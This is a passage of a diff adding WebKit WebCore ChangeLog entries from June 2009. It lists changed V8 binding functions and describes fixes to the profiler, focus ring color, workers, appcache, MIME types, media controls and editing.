+        (WebCore::V8AbstractEventListener::getReceiverObject):
+        * bindings/v8/V8Collection.cpp:
+        (WebCore::toOptionsCollectionSetter):
+        * bindings/v8/V8Collection.h:
+        (WebCore::getV8Object):
+        (WebCore::getNamedPropertyOfCollection):
+        (WebCore::nodeCollectionNamedPropertyGetter):
+        (WebCore::getIndexedPropertyOfCollection):
+        (WebCore::nodeCollectionIndexedPropertyGetter):
+        (WebCore::nodeCollectionIndexedPropertyEnumerator):
+        (WebCore::collectionIndexedPropertyEnumerator):
+        (WebCore::collectionStringOrNullIndexedPropertyGetter):
+        * bindings/v8/V8DOMMap.cpp:
+        (WebCore::weakDOMObjectCallback):
+        (WebCore::DOMData::removeObjectsFromWrapperMap):
+        * bindings/v8/V8Helpers.cpp:
+        (WebCore::wrapNPObject):
+        (WebCore::toV8Context):
+        * bindings/v8/V8LazyEventListener.cpp:
+        (WebCore::V8LazyEventListener::~V8LazyEventListener):
+        (WebCore::V8LazyEventListener::getListenerFunction):
+        (WebCore::V8LazyEventListener::callListenerFunction):
+        (WebCore::V8LazyEventListener::getWrappedListenerFunction):
+        * bindings/v8/V8NodeFilterCondition.cpp:
+        (WebCore::V8NodeFilterCondition::V8NodeFilterCondition):
+        (WebCore::V8NodeFilterCondition::~V8NodeFilterCondition):
+        (WebCore::V8NodeFilterCondition::acceptNode):
+        * bindings/v8/V8ObjectEventListener.cpp:
+        (WebCore::weakObjectEventListenerCallback):
+        (WebCore::V8ObjectEventListener::~V8ObjectEventListener):
+        * bindings/v8/V8Proxy.cpp: Added.
+        * bindings/v8/V8Proxy.h:
+        (WebCore::):
+        (WebCore::GlobalHandleInfo::GlobalHandleInfo):
+        (WebCore::V8Proxy::):
+        (WebCore::V8Proxy::V8Proxy):
+        (WebCore::V8Proxy::frame):
+        (WebCore::V8Proxy::inlineCode):
+        (WebCore::V8Proxy::setInlineCode):
+        (WebCore::V8Proxy::timerCallback):
+        (WebCore::V8Proxy::setTimerCallback):
+        (WebCore::V8Proxy::setEventHandlerLineNumber):
+        (WebCore::V8Proxy::finishedWithEvent):
+        (WebCore::V8Proxy::wrapCPointer):
+        (WebCore::V8Proxy::extractCPointer):
+        (WebCore::V8Proxy::convertDOMWrapperToNative):
+        (WebCore::V8Proxy::convertDOMWrapperToNode):
+        (WebCore::V8Proxy::convertToV8Object):
+        (WebCore::V8Proxy::convertToNativeObject):
+        (WebCore::V8Proxy::convertToNativeEvent):
+        (WebCore::V8Proxy::context):
+        (WebCore::V8Proxy::extractCPointerImpl):
+        (WebCore::V8Proxy::utilityContext):
+        (WebCore::V8Proxy::constructDOMObject):
+        (WebCore::throwError):
+        (WebCore::toV8):
+        * bindings/v8/V8Utilities.h:
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::WorkerContextExecutionProxy::retrieve):
+        (WebCore::WorkerContextExecutionProxy::initContextIfNeeded):
+        (WebCore::WorkerContextExecutionProxy::GetConstructor):
+        (WebCore::WorkerContextExecutionProxy::ToV8Object):
+        (WebCore::WorkerContextExecutionProxy::EventToV8Object):
+        (WebCore::WorkerContextExecutionProxy::toV8):
+        (WebCore::WorkerContextExecutionProxy::forgetV8EventObject):
+        (WebCore::WorkerContextExecutionProxy::evaluate):
+        (WebCore::WorkerContextExecutionProxy::runScript):
+        * bindings/v8/custom/V8AttrCustom.cpp:
+        (WebCore::ACCESSOR_SETTER):
+        * bindings/v8/custom/V8CSSStyleDeclarationCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::NAMED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8CanvasPixelArrayCustom.cpp:
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
+        (WebCore::toV8):
+        (WebCore::toCanvasStyle):
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8ClientRectListCustom.cpp:
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        * bindings/v8/custom/V8ClipboardCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8CustomBinding.cpp:
+        (WebCore::allowSettingFrameSrcToJavascriptUrl):
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::INDEXED_ACCESS_CHECK):
+        (WebCore::NAMED_ACCESS_CHECK):
+        (WebCore::V8Custom::GetTargetFrame):
+        * bindings/v8/custom/V8CustomEventListener.cpp:
+        (WebCore::V8EventListener::V8EventListener):
+        (WebCore::V8EventListener::~V8EventListener):
+        (WebCore::V8EventListener::callListenerFunction):
+        * bindings/v8/custom/V8CustomSQLStatementCallback.cpp:
+        (WebCore::V8CustomSQLStatementCallback::handleEvent):
+        * bindings/v8/custom/V8CustomSQLStatementErrorCallback.cpp:
+        (WebCore::V8CustomSQLStatementErrorCallback::handleEvent):
+        * bindings/v8/custom/V8CustomSQLTransactionCallback.cpp:
+        (WebCore::V8CustomSQLTransactionCallback::handleEvent):
+        * bindings/v8/custom/V8CustomSQLTransactionErrorCallback.cpp:
+        (WebCore::V8CustomSQLTransactionErrorCallback::handleEvent):
+        * bindings/v8/custom/V8CustomVoidCallback.cpp:
+        (WebCore::V8CustomVoidCallback::handleEvent):
+        (WebCore::invokeCallback):
+        * bindings/v8/custom/V8CustomXPathNSResolver.cpp:
+        (WebCore::V8CustomXPathNSResolver::lookupNamespaceURI):
+        * bindings/v8/custom/V8DOMParserConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8Custom::WindowSetTimeoutImpl):
+        (WebCore::convertBase64):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::createWindow):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::V8Custom::ClearTimeoutImpl):
+        (WebCore::NAMED_ACCESS_CHECK):
+        (WebCore::INDEXED_ACCESS_CHECK):
+        * bindings/v8/custom/V8DatabaseCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8DocumentCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8DocumentLocationCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        * bindings/v8/custom/V8ElementCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::ACCESSOR_GETTER):
+        * bindings/v8/custom/V8EventCustom.cpp:
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::ACCESSOR_GETTER):
+        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLCollectionCustom.cpp:
+        (WebCore::getNamedItems):
+        (WebCore::getItem):
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLDocumentCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::ACCESSOR_GETTER):
+        * bindings/v8/custom/V8HTMLFormElementCustom.cpp:
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLFrameElementCustom.cpp:
+        (WebCore::ACCESSOR_SETTER):
+        * bindings/v8/custom/V8HTMLFrameSetElementCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        * bindings/v8/custom/V8HTMLIFrameElementCustom.cpp:
+        (WebCore::ACCESSOR_SETTER):
+        * bindings/v8/custom/V8HTMLImageElementConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLInputElementCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLOptionElementConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8HTMLPlugInElementCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::NAMED_PROPERTY_SETTER):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8HTMLSelectElementCollectionCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8HTMLSelectElementCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::removeElement):
+        * bindings/v8/custom/V8InspectorControllerCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8LocationCustom.cpp:
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::INDEXED_ACCESS_CHECK):
+        (WebCore::NAMED_ACCESS_CHECK):
+        * bindings/v8/custom/V8MessageChannelConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8MessagePortCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8NamedNodeMapCustom.cpp:
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::NAMED_PROPERTY_GETTER):
+        * bindings/v8/custom/V8NavigatorCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        * bindings/v8/custom/V8NodeCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8NodeIteratorCustom.cpp:
+        (WebCore::toV8):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8NodeListCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        * bindings/v8/custom/V8SQLResultSetRowListCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8SQLTransactionCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8SVGElementInstanceCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8SVGLengthCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8SVGMatrixCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8StyleSheetListCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        * bindings/v8/custom/V8TreeWalkerCustom.cpp:
+        (WebCore::toV8):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WebKitCSSMatrixConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WebKitPointConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::SetTimeoutOrInterval):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WorkerCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::getEventListener):
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        * bindings/v8/custom/V8XMLHttpRequestConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        (WebCore::getEventListener):
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8XMLHttpRequestUploadCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8XMLSerializerConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8XPathEvaluatorConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8XSLTProcessorCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-06-26  Kevin McCullough  <kmccullough@apple.com>
+
+        Reviewed by Tim Hatcher.
+
+        <rdar://problem/7011047> Profiler shows the record button 'on' even
+        though it's finished
+
+        I consolidated the creation of the user initiated profile name into
+        its own function and then called it from console::profile instead of
+        calling startUserInitiatedProfiling().  This way we don't call
+        toggleRecordButton() which turns on the record button.
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::didCommitLoad):
+        (WebCore::InspectorController::getCurrentUserInitiatedProfileName):
+        (WebCore::InspectorController::startUserInitiatedProfiling):
+        (WebCore::InspectorController::stopUserInitiatedProfiling):
+        * inspector/InspectorController.h:
+        * page/Console.cpp:
+        (WebCore::Console::profile):
+        (WebCore::Console::profileEnd):
+
+2009-06-26  Jeremy Moskovich  <jeremy@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26691
+
+        Cleanup: Move focusRingColor to RenderTheme.
+
+        Most of this CL involves deleting files and removing dead code.
+
+        focusRingColor() is now defined in RenderTheme rather than in
+        misc. places on each port.  The default color is specified as
+        black in renderTheme and ports can override it in their own
+        custom renderThemes.
+
+        Behavior should be identical except for the following cases,
+        this lists platform and what the focus ring color used to be
+        before this cl and the file where it used to be defined:
+
+        Android - red
+        WebCore/platform/android/TemporaryLinkStubs.cpp
+
+        Cairo - aqua focus ring color - 0xFF7DADD9
+        WebCore/platform/graphics/cairo/GraphicsContextCairo.cpp
+
+        wx - red
+        WebCore/platform/wx/TemporaryLinkStubs.cpp
+
+        QT - black
+        WebCore/platform/graphics/qt/GraphicsContextQt.cpp
+
+        Manual test: manual-tests/focusringcolor-change-on-theme-change.html
+
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::getColorFromPrimitiveValue):
+        * manual-tests/focusringcolor-change-on-theme-change.html: Added.
+        * platform/android/TemporaryLinkStubs.cpp:
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:
+        * platform/graphics/chromium/ColorChromium.cpp: Removed.
+        * platform/graphics/chromium/ColorChromiumMac.mm: Removed.
+        * platform/graphics/mac/ColorMac.h:
+        * platform/graphics/mac/ColorMac.mm:
+        (WebCore::oldAquaFocusRingColor):
+        (WebCore::setUsesTestModeFocusRingColor):
+        (WebCore::usesTestModeFocusRingColor):
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::drawFocusRing):
+        * platform/graphics/win/ColorSafari.cpp: Removed.
+        * platform/wx/TemporaryLinkStubs.cpp:
+        * rendering/RenderTheme.cpp:
+        (WebCore::RenderTheme::focusRingColor):
+        * rendering/RenderTheme.h:
+        * rendering/RenderThemeChromiumMac.h:
+        * rendering/RenderThemeChromiumMac.mm:
+        (WebCore::RenderThemeChromiumMac::focusRingColor):
+        (WebCore::RenderThemeChromiumMac::systemColor):
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::RenderThemeChromiumSkia::focusRingColor):
+        * rendering/RenderThemeChromiumSkia.h:
+        * rendering/RenderThemeMac.h:
+        * rendering/RenderThemeMac.mm:
+        (WebCore::RenderThemeMac::focusRingColor):
+        (WebCore::RenderThemeMac::systemColor):
+        * rendering/RenderThemeSafari.cpp:
+        (WebCore::makeRGBAFromCGColor):
+        (WebCore::RenderThemeSafari::focusRingColor):
+        * rendering/RenderThemeSafari.h:
+
+2009-06-26  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by David Levin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26761
+        [Chromium] Enable Dedicated Workers in Chromium.
+
+        * bindings/v8/custom/V8WorkerCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        Remove the check that prevented workers from being created w/o a command-line switch.
+        The flag itself and methods will be removed in a subsequent patch, after
+        corresponding change in Chromium.
+
+2009-06-26  Jessie Berlin  <jberlin@apple.com>
+
+        Reviewed by Mark Rowe.
+        
+        Fix: https://bugs.webkit.org/show_bug.cgi?id=26723
+        Where the m_mouseDown event was never being set on windows, so the
+        client X and Y coordinates were always being reported as zero in a
+        dragstart handler.
+
+        Test: editing/selection/drag-start-event-client-x-y.html
+
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::handleMousePressEvent):
+        Set the m_mouseDown event when the mouse press is handled.
+        * page/mac/EventHandlerMac.mm:
+        (WebCore::EventHandler::mouseDown):
+        Removed now redundant setting of m_mouseDown.
+
+2009-06-26  Brady Eidson  <beidson@apple.com>
+
+        Tiger build fix
+
+        * WebCore.xcodeproj/project.pbxproj:
+        * platform/network/mac/WebCoreURLResponse.mm:
+        (swizzleMIMETypeMethodIfNecessary):
+
+2009-06-26  Alexey Proskuryakov  <ap@webkit.org>
+
+        Reviewed by Sam Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26681
+        Problem updating applicationCache when server returns 304
+        
+        Improve the fix, make the test pass on Tiger.
+
+        * loader/appcache/ApplicationCacheGroup.cpp:
+        (WebCore::ApplicationCacheGroup::didReceiveResponse): Fix another code path to remove the
+        current item from list.
+
+        * platform/network/mac/ResourceHandleMac.mm: (WebCore::ResourceHandle::start): On Tiger,
+        conditional requests that cannot be cached by network layer cause errors with default cache
+        policy.
+
+2009-06-26  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Sam Weinig
+
+        <rdar://problem/6961578> REGRESSION (r43511): Opening .fdf files from Acrobat Professional fails
+
+        When we disabled content sniffing for file urls we lost knowledge of many file extensions that we
+        didn't intend to lose.  Turns out the CoreTypes UTI database doesn't know about every extension Gatekeeper
+        knew about.
+
+        By comparing CoreTypes' database to Gatekeepers, this patch adds a hardcoded list of file extension to MIME
+        type mappings that are missing in CoreType's database.
+
+        Test: platform/mac/fast/loader/file-url-mimetypes.html
+
+        * platform/network/mac/ResourceHandleMac.mm:
+        (-[WebCoreResourceHandleAsDelegate connection:didReceiveResponse:]): Move the MIME Type swizzling code to
+          WebCoreURLResponse.
+
+        * platform/network/mac/ResourceResponseMac.mm:
+        (WebCore::ResourceResponse::platformLazyInit): _webcore_MIMEType -> MIMEType, as we now have only one place
+          where we do all MIMEType correction.
+
+        * platform/network/mac/WebCoreURLResponse.h: Remove _webcore_MIMEType, as it is now folded into the swizzled
+          implementation of MIMEType.
+        * platform/network/mac/WebCoreURLResponse.mm:
+        (createBinaryExtensionsSet):
+        (createExtensionToMIMETypeMap):
+        (swizzleMIMETypeMethodIfNecessary):
+        (webNSURLResponseMIMEType): If it's a file URL and there's no MIME type, see if the extension exists in the 
+          extension -> MIME type map before turning to the default MIME type.  Also roll in what was previously
+          implemented in _webcore_MIMEType.
+
+        * svg/graphics/SVGImage.cpp:
+        (WebCore::SVGImage::~SVGImage): Tweak this ASSERT - SVGImages might get destroyed without ever having a client.
+
+2009-06-25  Pierre d'Herbemont  <pdherbemont@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Show the fullscreen button only if the backend has support for it.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26661
+
+        No test since this is not reachable via the DOM.
+
+        * html/HTMLMediaElement.h:
+        (WebCore::HTMLMediaElement::supportsFullscreen): new
+        * html/HTMLVideoElement.h:
+        (WebCore::HTMLVideoElement::supportsFullscreen): new
+        * platform/graphics/MediaPlayer.cpp:
+        (WebCore::NullMediaPlayerPrivate::supportsFullscreen): new
+        (WebCore::MediaPlayer::supportsFullscreen): new
+        * platform/graphics/MediaPlayer.h: new
+        * platform/graphics/MediaPlayerPrivate.h: new
+        (WebCore::MediaPlayerPrivateInterface::supportsFullscreen): new
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlFullscreenButtonElement::rendererIsNeeded): new
+        * rendering/MediaControlElements.h:
+
+2009-06-25  Pierre d'Herbemont  <pdherbemont@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/7007776> Controller doesn't automatically update counters when file
+        is playing ( http://www.jazzguitar.be/mp3/Michael%20Lewis%20-%20SSSJ.mp3 )
+
+        Update the time display when the movie time changes.
+
+        * rendering/RenderMedia.cpp:
+        (WebCore::RenderMedia::updateControls):
+
+2009-06-25  Pierre d'Herbemont  <pdherbemont@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26659
+
+        Support hidding a control bar element from the Media element controller.
+
+        Update layout tests since the fullscreen button no longer has a renderer.
+
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaTextDisplayElement::update): call updateStyle() so everything
+        is updated properly.
+        (WebCore::MediaControlInputElement::MediaControlInputElement):
+        (WebCore::MediaControlInputElement::update): call updateStyle()
+        (WebCore::MediaControlInputElement::updateStyle): create the renderer properly
+        or not depending on what rendererIsNeeded() return.
+        * rendering/MediaControlElements.h:
+
+2009-06-26  Kevin McCullough  <kmccullough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        <rdar://problem/6968137> Profiler title numbers increment even after a
+        reload.
+
+        - Now the numbers are reset when the profiles are.
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::didCommitLoad):
+
+2009-06-26  Adele Peterson  <adele@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Fix for <rdar://problem/7000796>
+        REGRESSION(34681): Breaking up quoted text makes new, unquoted text blue after certain steps; repros with some messages
+
+        Test: editing/inserting/break-blockquote-after-delete.html
+
+        Keep track of whether the typing style should be preserved after the TypingCommand is applied.  When adding onto an open
+        typing command, keep that flag up to date.
+
+        In this case, an InsertParagraphSeparatorInQuotedContent command, which should not preserve typing style, 
+        was following an open Delete command, which does preserve the typing style.  So we were applying the original
+        typing style (from before the delete, so blue text) to the cursor in the unquoted area after breaking up the blockquote.
+
+        * editing/TypingCommand.cpp:
+        (WebCore::TypingCommand::TypingCommand):
+        (WebCore::TypingCommand::typingAddedToOpenCommand):
+        (WebCore::TypingCommand::insertTextRunWithoutNewlines):
+        (WebCore::TypingCommand::insertLineBreak):
+        (WebCore::TypingCommand::insertParagraphSeparator):
+        (WebCore::TypingCommand::insertParagraphSeparatorInQuotedContent):
+        (WebCore::TypingCommand::deleteKeyPressed):
+        (WebCore::TypingCommand::forwardDeleteKeyPressed):
+        (WebCore::TypingCommand::deleteSelection):
+        (WebCore::TypingCommand::updatePreservesTypingStyle):
+        * editing/TypingCommand.h: (WebCore::TypingCommand::preservesTypingStyle):
+
+2009-06-26  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Add support for saving and loading of QWebHistory to and from a QByteArray.
+
+        This includes streaming operators for QWebHistory. for convenience.
+
+        New autotests that test QWebHistory and QWebHistoryItem serialization.
+
+        * WebCore.pro:
+        * history/HistoryItem.h:
+        (WebCore::HistoryItem::dailyVisitCounts):
+        (WebCore::HistoryItem::weeklyVisitCounts):
+        * history/qt/HistoryItemQt.cpp: Added.
+        (WebCore::HistoryItem::restoreState):
+        (WebCore::HistoryItem::saveState):
+
+2009-06-26  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Add support for QDataStream operators to String and IntPoint.
+
+        * platform/graphics/IntPoint.h:
+        (WebCore::operator<<):
+        (WebCore::operator>>):
+        * platform/text/PlatformString.h:
+        * platform/text/qt/StringQt.cpp:
+        (WebCore::operator<<):
+        (WebCore::operator>>):
+
+2009-06-26  Ben Murdoch  <benm@google.com>
+
+        Reviewed by Darin Fisher.
+
+        Add #if ENABLE(DOM_STORAGE) to the V8 custom bindings for local/session storage.
+        https://bugs.webkit.org/show_bug.cgi?id=26757
+
+        * bindings/v8/custom/V8StorageCustom.cpp
+
+2009-06-26  Yongjun Zhang  <yongjun.zhang@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        Test: platform/qt/fast/events/event-sender-keydown-frame.html
+
+        Bug 20303: [Qt] Key events are not working in frames.
+
+        Merge scrolling handling code in qt and win port, move it to
+        EventHandler.
+
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::scrollRecursively):
+        * page/EventHandler.h:
+
+2009-06-26  Rob Buis  <rwlbuis@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26682
+        Bug 26682: It should be possible to add image to SVG DOM programmatically (using JavaScript)
+
+        Make sure the xlink:href animated property setting syncs the corresponding attribute with the right namespace.
+
+        Test: svg/custom/createImageElement.svg
+
+        * svg/SVGAnimatedProperty.h:
+        (WebCore::synchronizeProperty):
+
+2009-06-26  Takeshi Yoshino  <tyoshino@google.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Bug 26156: In view-source mode, always render the contents using HTMLViewSourceDocument
+        https://bugs.webkit.org/show_bug.cgi?id=26156
+
+        When in view-source mode, render the contents using HTMLViewSourceDocument
+        regardless it's applicable for any plugin or not.
+
+        Chromium tells WebCore to render the contents of specified URL when
+        view-source: prefix is added to the URL. But currently, DOMImplementation
+        ignores inViewSourceMode() when the MIME type is indicating that the contents
+        are neither texts nor HTML family documents.
+
+        For example, we can check the contents of asf file without launching media
+        player. Rendering contents for view-source:-specified input is not what user
+        expects.
+
+        http://code.google.com/p/chromium/issues/detail?id=10545
+
+        I want to fix this issue by this patch. IMHO, regardless of this Chromium
+        specific issue, I think we should force use of HTMLViewSourceDocument when
+        inViewSourceMode() is specified.
+
+        Test: fast/frames/viewsource-on-image-file.html
+
+        * dom/DOMImplementation.cpp:
+        (WebCore::DOMImplementation::createDocument):
+        * html/HTMLViewSourceDocument.cpp:
+        (WebCore::HTMLViewSourceDocument::createTokenizer):
+        * html/HTMLViewSourceDocument.h:
+
+2009-06-26  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Jan Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25529
+        [Gtk] Expected states not exposed to assistive technologies
+
+        Add support for VISIBLE, EDITABLE and SENSITIVE states.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (setAtkStateSetFromCoreObject):
+
+2009-06-26  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        "Pointer to incomplete class type is not allowed" error with RVCT
+        https://bugs.webkit.org/show_bug.cgi?id=26721
+
+        Based on Norbert Leser's work.
+
+        * dom/Document.cpp:
+        (WebCore::Document::setFocusedNode):
+        * dom/Node.cpp:
+        (WebCore::Node::dispatchMouseEvent):
+        * dom/Node.h: Remove the default value for PassRefPtr<Event> args,
+        to eliminate dependency on the Event class definition
+
+2009-06-26  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        [Qt] Build fix after r45183
+        https://bugs.webkit.org/show_bug.cgi?id=26748
+
+        * WebCore.pro:
+
+2009-06-25  Alexey Proskuryakov  <ap@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26681
+        <rdar://problem/7003461> Problem updating applicationCache when server returns 304
+
+        Test: http/tests/appcache/update-cache.html
+
+        * loader/appcache/ApplicationCacheGroup.cpp: (WebCore::ApplicationCacheGroup::didReceiveResponse):
+        We're already done with the resource, don't try to load it again.
+
+2009-06-25  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Oliver Hunt.
+        
+        <rdar://problem/6990481>
+        
+        Handle perspective computation on non-layer objects.
+
+        Test: transforms/3d/general/perspective-non-layer.html
+
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::getTransformFromContainer):
+
+2009-06-25  Pierre d'Herbemont  <pdherbemont@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26653
+
+        Use flex box in the mediaControls.css style, to nicely scale if a button gets
+        dynamically added or removed.
+
+        Media tests results are affected by this changes.
+
+        * css/mediaControls.css:
+        * css/mediaControlsQT.css:
+
+2009-06-25  Albert J. Wong  <ajwong@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26724
+
+        Move relavent part of setDefaultFontSize from RenderThemeChromiumWin
+        up into RenderThemeChromiumSkia.
+
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::RenderThemeChromiumSkia::setDefaultFontSize):
+        * rendering/RenderThemeChromiumSkia.h:
+        * rendering/RenderThemeChromiumWin.cpp:
+        (WebCore::RenderThemeChromiumWin::setDefaultFontSize):
+        * rendering/RenderThemeChromiumWin.h:
+
+2009-06-25  Matt Perry  <mpcomplete@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26733
